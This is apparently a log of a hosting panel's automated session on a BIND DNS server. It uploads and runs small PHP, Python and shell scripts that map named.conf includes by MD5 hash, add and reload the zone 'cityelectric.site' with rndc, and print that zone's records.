				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:27:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp474865; rm /tmp/pkp474865'

2026-02-09 15:27:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 92055efbed955a47809403a576bbf89c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:27:38: 

PUT: /tmp/pkp305255

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 15:27:38: 

chmod 755 /tmp/pkp305255; /tmp/pkp305255; rm /tmp/pkp305255

2026-02-09 15:27:41: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 15:27:41: 

PUT: /tmp/pkp477823

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 15:27:41: 

chmod 755 /tmp/pkp477823; /tmp/pkp477823; rm /tmp/pkp477823

2026-02-09 15:27:41: 


zone reload up-to-date


2026-02-09 15:27:42: Establishing a connection
2026-02-09 15:27:42: 

PUT: /tmp/pkp703070

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:27:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp703070; rm /tmp/pkp703070'

2026-02-09 15:27:42: 
2026-02-09 15:27:42: 

PUT: /tmp/pkp766897

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 15:27:42: 

chmod 755 /tmp/pkp766897; /tmp/pkp766897; rm /tmp/pkp766897

2026-02-09 15:27:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	1102
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134130171 14400 3600 14400 3600 )
@                        		 IN    NS       	ns1.hostz.org.
@                        		 IN    NS       	ns2.hostz.org.
@                        		 IN    A        	10.140.12.84
_acme-challenge           60	 IN    TXT      	"JfdN3ms_V-YNAQ6YgGvSjo1-8PBHjaH7DMIok5T6lO4"
_acme-challenge           60	 IN    TXT      	"sYuZM2kpUfAKhafLfWJP2I-WtM6dWLSzSda3yFqyxhA"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                      		 IN    CNAME    	dq-dev0f.ces-us.net






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
